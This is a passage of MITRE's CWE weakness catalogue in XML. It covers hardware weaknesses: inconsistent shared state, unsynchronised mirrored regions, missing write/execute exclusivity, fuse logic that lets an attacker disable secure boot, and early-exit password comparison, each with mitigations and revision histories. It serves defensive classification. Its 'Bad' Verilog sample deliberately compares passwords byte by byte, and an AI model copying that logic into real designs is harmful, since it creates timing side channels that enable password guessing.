               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Observed_Examples, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Description, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Observed_Examples, Potential_Mitigations, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1250" Name="Improper Preservation of Consistency Between Independent Representations of Shared State" Abstraction="Base" Structure="Simple" Status="Incomplete">
            <Description>The product has or supports multiple distributed components or sub-systems that are each required to keep their own local copy of shared data - such as state or cache - but the product does not ensure that all local copies remain consistent with each other.</Description>
            <Extended_Description>
                <xhtml:p>In highly distributed environments, or on systems with distinct physical components that operate independently, there is often a need for each component to store and update its own local copy of key data such as state or cache, so that all components have the same "view" of the overall system and operate in a coordinated fashion.  For example, users of a social media service or a massively multiplayer online game might be using their own personal computers while also interacting with different physical hosts in a globally distributed service, but all participants must be able to have the same "view" of the world.  Alternately, a processor's Memory Management Unit (MMU) might have "shadow" MMUs to distribute its workload, and all shadow MMUs are expected to have the same accessible ranges of memory.</xhtml:p>
		<xhtml:p>In such environments, it becomes critical for
		the product to ensure that this "shared state" is
		consistently modified across all distributed systems.
		If state is not consistently maintained across all
		systems, then critical transactions might take place
		out of order, or some users might not get the same
		data as other users.  When this inconsistency affects
		correctness of operations, it can introduce
		vulnerabilities in mechanisms that depend on
		consistent state.</xhtml:p>
            </Extended_Description>
	    <Related_Weaknesses>
              <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
	    </Related_Weaknesses>
            <Applicable_Platforms>
                <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
                <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
		<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
		<Technology Class="Cloud Computing" Prevalence="Undetermined"/>
		<Technology Name="Security Hardware" Prevalence="Undetermined"/>
            </Applicable_Platforms>
	    <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-132">
	       <Intro_Text>Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.</Intro_Text>
	       <Body_Text>Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.</Body_Text>
            </Demonstrative_Example>
	    </Demonstrative_Examples>
	    <References>
              <Reference External_Reference_ID="REF-1069"/>
	    </References>
	    <Notes>
	      <Note Type="Research Gap">
		Issues related to state and cache - creation,
		preservation, and update - are a significant gap in
		CWE that is expected to be addressed in future
		versions.  It likely has relationships to concurrency
		and synchronization, incorrect behavior order, and
		other areas that already have some coverage in CWE,
		although the focus has typically been on independent
		processes on the same operating system - not on
		independent systems that are all a part of a larger
		system-of-systems.
	      </Note>
	    </Notes>
            <Content_History>
                <Submission>
                    <Submission_Name>CWE Content Team</Submission_Name>
                    <Submission_Organization>CWE Content Team</Submission_Organization>
                    <Submission_Date>2020-02-13</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            </Content_History>
        </Weakness>
      <Weakness ID="1251" Name="Mirrored Regions with Different Values" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The product's architecture mirrors regions without ensuring that their contents always stay in sync.</Description>
			<Extended_Description>
				<xhtml:p>Having mirrored regions with different values might result in the exposure of sensitive information or possibly system compromise.</xhtml:p>
				<xhtml:p>In the interest of increased performance, one might need to duplicate a resource. A cache memory is a common example of this concept, which keeps a "local" copy of a data element in the high speed cache memory. Unfortunately, this speed improvement comes with a downside, since the product needs to ensure that the local copy always mirrors the original copy truthfully. If they get out of sync, the computational result is no longer true.</xhtml:p>
				<xhtml:p>During hardware design, memory is not the only item which gets mirrored. There are many other entities that get mirrored, as well: registers, memory regions, and, in some cases, even whole computational units. For example, within a multi-core processor, if all memory accesses for each and every core goes through a single Memory-Management Unit (MMU) then the MMU will become a performance bottleneck. In such cases, duplicating local MMUs that will serve only a subset of the cores rather than all of them may resolve the performance issue. These local copies are also called "shadow copies" or "mirrored copies."</xhtml:p>
				<xhtml:p>If the original resource never changed, local duplicate copies getting out of sync would never be an issue. However, the values of the original copy will sometimes change. When the original copy changes, the mirrored copies must also change, and change fast.</xhtml:p>
				<xhtml:p>This situation of shadow-copy-possibly-out-of-sync-with-original-copy might occur as a result of multiple scenarios, including the following:
				</xhtml:p>
						<xhtml:ul>
							<xhtml:li>After the values in the original copy change, due to some reason the original copy does not send the "update" request to its shadow copies.</xhtml:li>
							<xhtml:li>After the values in the original copy change, the original copy dutifully sends the "update" request to its shadow copies, but due to some reason the shadow copy does not "execute" this update request.</xhtml:li>
							<xhtml:li>After the values in the original copy change, the original copy sends the "update" request to its shadow copies, and the shadow copy executes this update request faithfully. However, during the small time period when the original copy has "new" values and the shadow copy is still holding the "old" values, an attacker can exploit the old values. Then it becomes a race condition between the attacker and the update process of who can reach the target, shadow copy first, and, if the attacker reaches first, the attacker wins.</xhtml:li>
							<xhtml:li>The attacker might send a "spoofed" update request to the target shadow copy, pretending that this update request is coming from the original copy. This spoofed request might cause the targeted shadow copy to update its values to some attacker-friendly values, while the original copies remain unchanged by the attacker.</xhtml:li>
							<xhtml:li>Suppose a situation where the original copy has a system of reverting back to its original value if it does not hear back from all the shadow copies that such copies have successfully completed the update request. In such a case, an attack might occur as follows: (1) the original copy might send an update request; (2) the shadow copy updates it; (3) the shadow copy sends back the successful completion message; (4) through a separate issue, the attacker is able to intercept the shadow copy's completion message. In this case, the original copy thinks that the update did not succeed, hence it reverts to its original value. Now there is a situation where the original copy has the "old" value, and the shadow copy has the "new" value.</xhtml:li>
						</xhtml:ul>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="1250" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Name="VHDL" Prevalence="Undetermined"/>
				<Language Name="Verilog" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="System on Chip" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Availability</Scope>
					<Scope>Access Control</Scope>
					<Scope>Accountability</Scope>
					<Scope>Authentication</Scope>
					<Scope>Authorization</Scope>
					<Scope>Non-Repudiation</Scope>
					<Impact>Varies by Context</Impact>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>
						<xhtml:p>Whenever there are multiple, physically different copies of the same value that might change and the process to update them is not instantaneous and atomic, it is impossible to assert that the original and shadow copies will always be in sync - there will always be a time period when they are out of sync. To mitigate the consequential risk, the recommendations essentially are:</xhtml:p>
								<xhtml:ul>
									<xhtml:li>Make this out-of-sync time period as small as possible, and</xhtml:li>
									<xhtml:li>Make the update process as robust as possible.</xhtml:li>
								</xhtml:ul>
					</Description>
					<Effectiveness>Moderate</Effectiveness>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example Demonstrative_Example_ID="DX-132">
					<Intro_Text>Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.</Intro_Text>
					<Body_Text>Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.</Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
			<Notes>
				<Note Type="Research Gap">Issues related to state and cache - creation, preservation, and update - are a significant gap in CWE that is expected to be addressed in future versions. It has relationships to concurrency and synchronization, incorrect behavior order, and other areas that already have some coverage in CWE, although the focus has typically been on independent processes on the same operating system - not on independent systems that are all a part of a larger system-of-systems.
				</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-02-10</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1252" Name="CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations" Abstraction="Base" Structure="Simple" Status="Incomplete">
            <Description>The CPU is not configured to provide hardware support for exclusivity of write and execute operations on memory. This allows an attacker to execute data from all of memory.</Description>
            <Extended_Description>
                <xhtml:p>CPUs provide a special bit that supports exclusivity of write and execute operations. This bit is used to segregate areas of memory to either mark them as code (instructions, which can be executed) or data (which should not be executed). In this way, if a user can write to a region of memory, the user cannot execute from that region and vice versa. This exclusivity provided by special hardware bit is leveraged by the operating system to protect executable space. While this bit is available in most modern processors by default, in some CPUs the exclusivity is implemented via a memory-protection unit (MPU) and memory-management unit (MMU) in which memory regions can be carved out with exact read, write, and execute permissions. However, if the CPU does not have an MMU/MPU, then there is no write exclusivity. Without configuring exclusivity of operations via segregated areas of memory, an attacker may be able to inject malicious code onto memory and later execute it.</xhtml:p>
            </Extended_Description>
			<Related_Weaknesses>
              <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
            <Applicable_Platforms>
                <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
                <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
                <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
                <Technology Name="Microcontroller Hardware" Prevalence="Undetermined"/>
                <Technology Name="Processor Hardware" Prevalence="Undetermined"/>
            </Applicable_Platforms>
            <Modes_Of_Introduction>
                <Introduction>
					<Phase>Architecture and Design</Phase>
                </Introduction>
            </Modes_Of_Introduction>
            <Common_Consequences>
                <Consequence>
                    <Scope>Confidentiality</Scope>
                    <Scope>Integrity</Scope>
                    <Impact>Execute Unauthorized Code or Commands</Impact>
                </Consequence>
            </Common_Consequences>
            <Potential_Mitigations>
                <Mitigation>
                    <Phase>Architecture and Design</Phase>
                    <Description>
                        <xhtml:p>Implement a dedicated bit that can be leveraged by the Operating System to mark data areas as non-executable. If such a bit is not available in the CPU, implement MMU/MPU (memory management unit / memory protection unit).</xhtml:p>
                    </Description>
                </Mitigation>
                <Mitigation>
                    <Phase>Integration</Phase>
                    <Description>
                        <xhtml:p>If MMU/MPU are not available, then the firewalls need to be implemented in the SoC interconnect to mimic the write-exclusivity operation.</xhtml:p>
                    </Description>
                </Mitigation>
            </Potential_Mitigations>
            <Demonstrative_Examples>
                <Demonstrative_Example>
                    <Intro_Text>MCS51 Microcontroller (based on 8051) does not have a special bit to support write exclusivity. It also does not have an MMU/MPU support. The Cortex-M CPU has an optional MPU that supports up to 8 regions.</Intro_Text>
                    <Example_Code Nature="Bad" Language="Other">
                        <xhtml:div>The optional MPU is not configured.</xhtml:div>
                    </Example_Code>
                    <Body_Text>If the MPU is not configured, then an attacker will be able to inject malicious data into memory and execute it.</Body_Text>
            	</Demonstrative_Example>
            </Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="679"/>
         </Related_Attack_Patterns>
         <References>
                <Reference External_Reference_ID="REF-1076"/>
                <Reference External_Reference_ID="REF-1077"/>
                <Reference External_Reference_ID="REF-1078"/>
            </References>

            <Content_History>
                <Submission>
                    <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
                    <Submission_Organization>Intel Corporation</Submission_Organization>
                    <Submission_Date>2020-02-13</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            </Content_History>
        </Weakness>
      <Weakness ID="1253" Name="Incorrect Selection of Fuse Values" Abstraction="Base" Structure="Simple" Status="Draft">
     <Description>The logic level used to set a system to a secure state relies on a fuse being unblown. An attacker can set the system to an insecure state merely by blowing the fuse.</Description>
     <Extended_Description>
      <xhtml:p>Fuses are often used to store secret data, including security configuration data. When not blown, a fuse is considered to store a logic 0, and, when blown, it indicates a logic 1. Fuses are generally considered to be one-directional, i.e., once blown to logic 1, it cannot be reset to logic 0. However, if the logic used to determine system-security state (by leveraging the values sensed from the fuses) uses negative logic, an attacker might blow the fuse and drive the system to an insecure state.</xhtml:p>
     </Extended_Description>
			<Related_Weaknesses>
			 <Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
     <Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
     <Modes_Of_Introduction>
      <Introduction>
        <Phase>Architecture and Design</Phase>
      </Introduction>
      <Introduction>
        <Phase>Implementation</Phase>
      </Introduction>
     </Modes_Of_Introduction>
     <Common_Consequences>
      <Consequence>
        <Scope>Access Control</Scope>
        <Scope>Authorization</Scope>
        <Impact>Bypass Protection Mechanism</Impact>
        <Impact>Gain Privileges or Assume Identity</Impact>
      </Consequence>
      <Consequence>
        <Scope>Availability</Scope>
        <Impact>DoS: Crash, Exit, or Restart</Impact>
      </Consequence>
      <Consequence>
        <Scope>Confidentiality</Scope>
        <Impact>Read Memory</Impact>
      </Consequence>
      <Consequence>
        <Scope>Integrity</Scope>
        <Impact>Modify Memory</Impact>
        <Impact>Execute Unauthorized Code or Commands</Impact>
      </Consequence>
     </Common_Consequences>
     <Potential_Mitigations>
      <Mitigation>
        <Phase>Architecture and Design</Phase>
        <Description>Logic should be designed in a way that blown fuses do not put the product into an insecure state that can be leveraged by an attacker.
        </Description>
      </Mitigation>
     </Potential_Mitigations>
     <Demonstrative_Examples>
      <Demonstrative_Example>
        <Intro_Text><xhtml:p>A chip implements a secure boot and uses the sensed value of a fuse 
         "do_secure_boot" to determine whether to perform a secure boot or not. If this fuse 
         value is "0", the system performs secure boot. Otherwise, it does not perform secure 
         boot.</xhtml:p>
         <xhtml:p>An attacker blows the "do_secure_boot" fuse to "1". After reset, the attacker loads a custom 
         bootloader, and, since the fuse value is now "1", the system does not perform secure boot, 
         and the attacker can execute their custom firmware image.</xhtml:p>
         <xhtml:p>Since by default, a fuse-configuration value is a "0", an attacker can blow it to a "1" with 
         inexpensive hardware.</xhtml:p>
         <xhtml:p>If the logic is reversed, an attacker cannot easily reset the fuse. Note that, with 
         specialized and expensive equipment, an attacker with full physical access might be able to "unblow" the fuse 
         value to a "0".</xhtml:p>
        </Intro_Text>
      </Demonstrative_Example>
     </Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="74"/>
         </Related_Attack_Patterns>
         <References>
      <Reference External_Reference_ID="REF-1080"/>
     </References>
     <Notes>
      <Note Type="Maintenance">This entry is still under development and will continue to see updates and content improvements.</Note>
     </Notes>
     <Content_History>
      <Submission>
        <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
        <Submission_Organization>Intel Corporation</Submission_Organization>
        <Submission_Date>2019-10-15</Submission_Date>
      </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
     </Content_History>
   </Weakness>
      <Weakness ID="1254" Name="Incorrect Comparison Logic Granularity" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product's comparison logic is performed over a series of steps rather than across the entire string in one operation. If there is a comparison logic failure on one of these steps, the operation may be vulnerable to a timing attack that can result in the interception of the process for nefarious purposes.</Description>
         <Extended_Description>
            <xhtml:p>Comparison logic is used to compare a variety of objects including passwords, Message 
         Authentication Codes (MACs), and responses to verification challenges. When comparison logic is 
         implemented at a finer granularity (e.g., byte-by-byte comparison) and breaks in the case of a 
         comparison failure, an attacker can exploit this implementation to identify when exactly 
         the failure occurred. With multiple attempts, the attacker may be able to guesses the correct 
         password/response to challenge and elevate their privileges.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="208" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="697" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
						<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
						<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
                        <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
                <Scope>Confidentiality</Scope>
               <Scope>Authorization</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>
                 <xhtml:p>The hardware designer should ensure that comparison logic is implemented so as to compare in one operation instead in smaller chunks.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
                <Intro_Text>Consider an example hardware module that checks a user-provided password to grant access to a user. The user-provided password is compared against a golden value in a byte-by-byte manner.</Intro_Text>
                <Example_Code Nature="Bad" Language="Verilog">
                    always_comb @ (posedge clk)<xhtml:br/>
                    <xhtml:br/>
                    begin<xhtml:br/>
		    <xhtml:div style="margin-left:1em;">
                      assign check_pass[3:0] = 4'b0;<xhtml:br/>
                      for (i = 0; i &lt; 4; i++) begin<xhtml:br/>
		      <xhtml:div style="margin-left:1em;">
                    	if (entered_pass[(i*8 - 1) : i] eq golden_pass([i*8 - 1) : i])<xhtml:br/>
			<xhtml:div style="margin-left:1em;">
			  assign check_pass[i] = 1;<xhtml:br/>
                    	  continue;<xhtml:br/>
			</xhtml:div>
                    	else<xhtml:br/>
			<xhtml:div style="margin-left:1em;">
                    	  assign check_pass[i] = 0;<xhtml:br/>
                    	  break;<xhtml:br/>
			</xhtml:div>
                    	end<xhtml:br/>
		      </xhtml:div>
                      assign grant_access = (check_pass == 4'b1111) ? 1'b1: 1'b0;<xhtml:br/>
		    </xhtml:div>
                    end<xhtml:br/>
		</Example_Code>
                <Body_Text>Since the code breaks on an incorrect entry of password, an attacker can guess the correct password for that byte-check iteration with few repeat attempts.</Body_Text>
		<Body_Text>To fix this weakness, either the comparison of the entire string should be done all at once, or the attacker is not given an indication whether pass or fail happened by allowing the comparison to run through all bits before the grant_access signal is set.</Body_Text>
                <Example_Code Nature="Good">
                  always_comb @ (posedge clk)<xhtml:br/>
		  begin<xhtml:br/>
		  <xhtml:div style="margin-left:1em;">
                    assign check_pass[3:0] = 4'b0;<xhtml:br/>
               	    for (i = 0; i &lt; 4; i++) begin<xhtml:br/>
		    <xhtml:div style="margin-left:1em;">
               	      if (entered_pass[(i*8 - 1) : i] eq golden_pass([i*8 -1) : i])<xhtml:br/>
		      <xhtml:div style="margin-left:1em;">
               		assign check_pass[i] = 1;<xhtml:br/>
               		continue;<xhtml:br/>
		      </xhtml:div>
               	      else<xhtml:br/>
		      <xhtml:div style="margin-left:1em;">
               		assign check_pass[i] = 0;<xhtml:br/>
               		continue;<xhtml:br/>
		      </xhtml:div>
               	      end<xhtml:br/>
		    </xhtml:div>
               	    assign grant_access = (check_pass == 4'b1111) ? 1'b1: 1'b0;<xhtml:br/>
		  </xhtml:div>
		  end<xhtml:br/>
		</Example_Code>
            </Demonstrative_Example>
        </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2019-10482</Reference>
               <Description>Smartphone OS uses comparison functions that are not in constant time, allowing side channels</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-10482</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2014-0984</Reference>
               <Description>Password-checking function in router terminates validation of a password entry when it encounters the first incorrect character, which allows remote attackers to obtain passwords via a brute-force attack that relies on timing differences in responses to incorrect password guesses, aka a timing side-channel attack.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2014-0984</Link>
            </Observed_Example>
         </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="26"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-1079"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
               <Submission_Organization>Intel Corporation</Submission_Organization>
               <Submission_Date>2020-02-12</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
